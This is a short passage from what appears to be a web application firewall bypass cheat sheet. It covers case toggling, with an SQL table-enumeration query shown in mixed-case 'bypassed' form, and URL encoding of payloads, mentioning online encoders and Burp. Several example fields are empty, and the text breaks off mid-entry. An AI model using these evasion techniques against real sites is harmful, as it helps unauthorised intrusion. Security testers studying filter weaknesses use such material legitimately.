#### Techniques:
__1. Case Toggling__
- Some poorly developed WAFs filter selectively specific case WAFs.
- We can combine upper and lower case characters for developing efficient payloads.
__Standard__: ``
__Bypassed__: ``
__Standard__: `SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'`
__Bypassed__: `sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'`
__2. URL Encoding__
- Encode normal payloads with % encoding/URL encoding.
- Can be done with online tools like [this](https://www.url-encode-decode.com/).
- Burp includes a in-built encoder/decoder.
__Blocked__: `